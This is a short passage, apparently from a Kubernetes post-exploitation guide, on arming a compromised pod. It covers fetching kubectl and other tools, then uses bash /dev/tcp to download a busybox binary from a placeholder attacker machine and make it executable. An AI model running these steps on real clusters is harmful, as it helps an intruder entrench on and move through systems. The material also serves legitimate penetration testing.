Having a shell on a pod (root or not), we would download or install first some basic tools if not already present (hopefully you have some egress network access):
curl
(or wget
)kubectl
binary: export PATH=/tmp:$PATH; cd /tmp; curl -LO <https://storage.googleapis.com/kubernetes-release/release/v1.16.4/bin/linux/amd64/kubectl>; chmod 555 kubectl
apt-get
any classic system/net tools you are missing depending the docker running image you land on (net-tools
, iputils-ping
, etc)/dev/tcp
for instance to get the busybox
binary for its basic/useful set of system and network commands:$ exec 3<>/dev/tcp/<attacker machine IP>/port
$ echo -e "GET /busybox-x86_64 HTTP/1.0\\r\\nConnection: close\\r\\n\\r\\n" >&3
$ cat <&3 > busybox
$ sed -i '1,7d' busybox ## remove the http header
$ chmod +x busybox